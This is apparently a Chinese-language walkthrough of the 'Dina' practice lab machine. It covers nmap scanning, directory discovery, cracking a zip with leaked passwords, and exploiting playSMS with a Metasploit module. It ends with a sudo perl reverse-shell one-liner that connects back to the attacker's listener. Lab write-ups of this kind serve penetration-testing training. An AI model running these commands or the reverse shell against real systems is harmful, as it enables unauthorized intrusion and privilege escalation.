靶机2.Dina

1、信息收集

nmap -sS 10.9.47.0/24 -T4

nmap -sV -p- 10.9.47.217 -T4

进入网站

没有发现可用信息

2、目录扫描

dirb http://10.9.47.217/

http://10.10.10.129/robots.txthttp://10.9.47.217/robots.txt

http://10.9.47.217/nothing/

发现密码

#my secret pass
freedom
password
helloworld!
diana
iloveroot

http://10.9.47.217/secure/

发现压缩包（下载解压）

发现需要密码

使用上面密码进行尝试

freedom
解压之后得到名为backup-cred.mp3 的文件，并且无法使用播放器打开

查看mp3 文件的类型

发现是纯文本类型

右击用记事本打开

uname: touhid
password: ******
url : /SecreTSMSgatwayLogin

可能是个目录

• 尝试登陆

touhid:diana

进来了

发现是playSMS

3.直接msfconsole

msfconsole

搜索模块

msf6 > search playsms

渗透攻击

msf6 > use exploit/multi/http/playsms_filename_exec
msf6 exploit(multi/http/playsms_filename_exec) > set RHOSTS 10.9.47.217
msf6 exploit(multi/http/playsms_filename_exec) > set LHOST 10.9.47.222
msf6 exploit(multi/http/playsms_filename_exec) > set TARGETURI /SecreTSMSgatwayLogin/
msf6 exploit(multi/http/playsms_filename_exec) > set USERNAME touhid
msf6 exploit(multi/http/playsms_filename_exec) > set PASSWORD diana
msf6 exploit(multi/http/playsms_filename_exec) > exploit
meterpreter > shell

4 sudo提权

sudo -l

5 反弹shell

nc -lnvp 1234（卡里开启监听）
sudo perl -e 'use Socket;$i="10.9.47.222";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

成功